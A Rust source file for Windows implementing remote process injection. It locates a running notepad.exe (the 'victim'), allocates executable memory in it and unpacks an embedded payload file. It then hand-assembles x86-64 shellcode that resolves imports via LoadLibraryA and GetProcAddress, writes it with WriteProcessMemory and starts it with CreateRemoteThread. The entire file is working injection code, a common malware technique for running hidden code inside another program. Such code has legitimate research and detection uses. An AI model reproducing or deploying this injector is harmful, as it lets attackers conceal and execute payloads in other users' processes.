#![no_std]
#![no_main]

use core::ffi::{c_void, CStr};
use core::marker::PhantomData;
use core::mem::MaybeUninit;
#[cfg(not(test))]
use core::panic::PanicInfo;
use core::ptr;

use windows_sys::Win32::System::Diagnostics::Debug;
use windows_sys::Win32::System::Diagnostics::ToolHelp::{self, PROCESSENTRY32};
use windows_sys::Win32::System::Memory;
use windows_sys::Win32::System::Threading::PROCESS_ALL_ACCESS;
use windows_sys::Win32::System::{LibraryLoader, Threading};

const LOAD_LIBRARY_A: *const c_void = LibraryLoader::LoadLibraryA as *const c_void;
const GET_PROC_ADDRESS: *const c_void = LibraryLoader::GetProcAddress as *const c_void;

#[no_mangle]
pub extern "C" fn WinMain() -> i32 {
    unsafe { _main_remote() }
    0
}

struct Reader<'a> {
    phantom: PhantomData<&'a [u8]>,
    ptr: *const u8,
}

impl<'a> Reader<'a> {
    unsafe fn read<T: Copy>(&mut self) -> T {
        let value = core::ptr::read_unaligned(self.ptr as *const T);
        self.ptr = self.ptr.byte_add(core::mem::size_of::<T>());
        value
    }

    unsafe fn read_zt(&mut self) -> &'a [u8] {
        let start = self.ptr;
        let mut n = 0;
        while *self.ptr != 0 {
            self.ptr = self.ptr.byte_add(1);
            n += 1
        }
        self.ptr = self.ptr.byte_add(1);
        n += 1; // include the null terminator
        return core::slice::from_raw_parts(start, n);
    }
}

struct Writer {
    binary: *mut u8,
    base: *mut u8,
    ptr: *mut u8,
}
struct Measurer {
    count: usize,
}

trait CodeGen {
    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void;

    unsafe fn write_ptr(&mut self, ptr: *const c_void) -> *const c_void {
        let bytes = unsafe { core::mem::transmute::<*const c_void, [u8; 8]>(ptr) };
        self.write(&bytes)
    }

    unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void;
}

impl CodeGen for Writer {
    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
        let addr = self.ptr;
        for u in u8s {
            *self.ptr = *u;
            self.ptr = self.ptr.byte_add(1);
        }
        self.binary.offset(addr.offset_from(self.base)) as *const c_void
    }

    unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void {
        self.binary.byte_add(offset) as *const c_void
    }
}

impl CodeGen for Measurer {
    unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
        self.count += u8s.len();
        return ptr::null();
    }

    unsafe fn address_in_binary(&mut self, _: usize) -> *const c_void {
        return ptr::null();
    }
}

unsafe fn write_imports(
    strings: &mut impl CodeGen,
    prelude: &mut impl CodeGen,
    reader: &mut Reader,
) {
    let entry_point = reader.read::<u32>();
    // push rbp
    prelude.write(&[0x55]);
    // mov rbp, rsp
    prelude.write(&[0x48, 0x89, 0xe5]);
    // nop
    prelude.write(&[0x90]);
    // sub rsp, 0x20
    prelude.write(&[0x48, 0x83, 0xec, 0x20]);

    // windows needs 32 bytes to clobber: https://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_x64_calling_convention
    loop {
        let dll = reader.read_zt();
        if dll.len() == 1 {
            break;
        }
        let library_addr = strings.write(dll);
        strings.write(&[0]);

        loop {
            let symbol = reader.read_zt();
            if symbol.len() == 1 {
                break;
            }

            let dest = reader.read::<u32>();
            let symbol_addr = strings.write(symbol);

            // mov rcx, library name
            prelude.write(&[0x48, 0xb9]);
            prelude.write_ptr(library_addr);
            // mov rax, LoadLibraryA
            prelude.write(&[0x48, 0xb8]);
            prelude.write_ptr(LOAD_LIBRARY_A);
            // call rax
            prelude.write(&[0xff, 0xd0]);

            // mov rcx, rax
            prelude.write(&[0x48, 0x89, 0xc1]);
            // mov rdx, symbol name
            prelude.write(&[0x48, 0xba]);
            prelude.write_ptr(symbol_addr);
            // mov rax, GetProcAddress
            prelude.write(&[0x48, 0xb8]);
            prelude.write_ptr(GET_PROC_ADDRESS);
            // call rax
            prelude.write(&[0xff, 0xd0]);
            // mov [import address], rax
            prelude.write(&[0x48, 0xa3]);
            let addr = prelude.address_in_binary(dest as usize);
            prelude.write_ptr(addr);
        }
    }
    // mov rax, original entry point
    prelude.write(&[0x48, 0xb8]);
    let addr = prelude.address_in_binary(entry_point as usize);
    // let addr = load_library_a;
    prelude.write_ptr(addr);
    // call rax
    prelude.write(&[0xff, 0xd0]);
    // leave, ret
    prelude.write(&[0xc9, 0xc3]);
}

unsafe fn write_starting_state(mut out: *mut u8, reader: &mut Reader) {
    let length = reader.read::<u32>() as usize;

    let end = out.byte_add(length);
    while out < end {
        let code = reader.read::<u8>();
        if code > 0 {
            // RLE: repeat
            let byte = reader.read::<u8>();
            for _ in 0..code {
                *out = byte;
                out = out.byte_add(1);
            }
        } else {
            // N literal bytes
            let count = reader.read::<u8>();
            for _ in 0..count {
                let byte = reader.read::<u8>();
                *out = byte;
                out = out.byte_add(1);
            }
        }
    }
}

unsafe fn _main_remote() {
    let buf = include_bytes!("main.dat");

    let mut measuring_reader = Reader {
        phantom: PhantomData,
        ptr: buf.as_ptr(),
    };
    let mut string_measurer = Measurer { count: 0 };
    let mut code_measurer = Measurer { count: 0 };
    write_imports(
        &mut string_measurer,
        &mut code_measurer,
        &mut measuring_reader,
    );
    let starting_state_len = measuring_reader.read::<u32>() as usize;

    let Some(victim) = identify_victim() else {
        return;
    };
    let remote = Threading::OpenProcess(PROCESS_ALL_ACCESS, 0, victim);
    if remote == ptr::null_mut() {
        return;
    }
    let total_size = starting_state_len as usize + string_measurer.count + code_measurer.count;
    let remote_address_space = Memory::VirtualAllocEx(
        remote,
        ptr::null(),
        total_size,
        Memory::MEM_COMMIT | Memory::MEM_RESERVE,
        Memory::PAGE_EXECUTE_READWRITE,
    );
    let local_address_space = Memory::VirtualAlloc(
        ptr::null(),
        total_size,
        Memory::MEM_COMMIT | Memory::MEM_RESERVE,
        Memory::PAGE_EXECUTE_READWRITE,
    );

    let mut loading_reader = Reader {
        phantom: PhantomData,
        ptr: buf.as_ptr(),
    };

    let strings = local_address_space.byte_add(starting_state_len);
    let prelude = strings.byte_add(string_measurer.count);
    let mut strings_writer = Writer {
        binary: remote_address_space as *mut u8,
        base: local_address_space as *mut u8,
        ptr: strings as *mut u8,
    };
    let mut prelude_writer = Writer {
        binary: remote_address_space as *mut u8,
        base: local_address_space as *mut u8,
        ptr: prelude as *mut u8,
    };
    write_imports(
        &mut strings_writer,
        &mut prelude_writer,
        &mut loading_reader,
    );
    write_starting_state(local_address_space as *mut u8, &mut loading_reader);
    Debug::WriteProcessMemory(
        remote,
        remote_address_space,
        local_address_space,
        total_size,
        ptr::null_mut(),
    );
    let entry_point =
        remote_address_space.byte_offset(prelude.byte_offset_from(local_address_space));
    Threading::CreateRemoteThread(
        remote,
        ptr::null(),
        0,
        Some(core::mem::transmute::<
            *mut c_void,
            unsafe extern "system" fn(*mut c_void) -> u32,
        >(entry_point)),
        ptr::null(),
        0,
        ptr::null_mut(),
    );
}

unsafe fn identify_victim() -> Option<u32> {
    let snapshot = ToolHelp::CreateToolhelp32Snapshot(ToolHelp::TH32CS_SNAPPROCESS, 0);
    let mut entry: MaybeUninit<PROCESSENTRY32> = MaybeUninit::uninit();
    entry.assume_init_mut().dwSize = core::mem::size_of::<PROCESSENTRY32>() as u32;
    let mut process = ToolHelp::Process32First(snapshot, entry.as_mut_ptr());
    while process != 0 {
        let entry_ref = entry.assume_init_ref();
        let name = CStr::from_ptr(entry_ref.szExeFile.as_ptr());
        if name.eq(CStr::from_bytes_with_nul_unchecked(b"notepad.exe\x00")) {
            return Some(entry_ref.th32ProcessID);
        }
        process = ToolHelp::Process32Next(snapshot, entry.as_mut_ptr());
    }
    return None;
}

#[cfg(not(test))]
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
    loop {}
}
